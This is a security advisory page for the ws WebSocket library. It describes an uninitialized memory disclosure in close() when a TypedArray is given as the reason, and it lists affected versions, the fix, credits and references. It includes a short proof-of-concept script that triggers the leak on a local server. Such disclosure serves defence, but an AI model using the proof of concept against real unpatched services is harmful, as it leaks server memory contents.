ws: Uninitialized memory disclosure
Published 18 May 2026 · Updated 10 Sept 2026
Affected package
- Affected
- >=8.0.0 <8.20.1
- Fixed in
- 8.20.1
npm install ws@8.20.1Details
Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});Patches
The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
- https://github.com/advisories/GHSA-58qx-3vcg-4xpx
- https://www.cve.org/CVERecord?id=CVE-2026-45736
Is GHSA-58qx-3vcg-4xpx in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ws, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.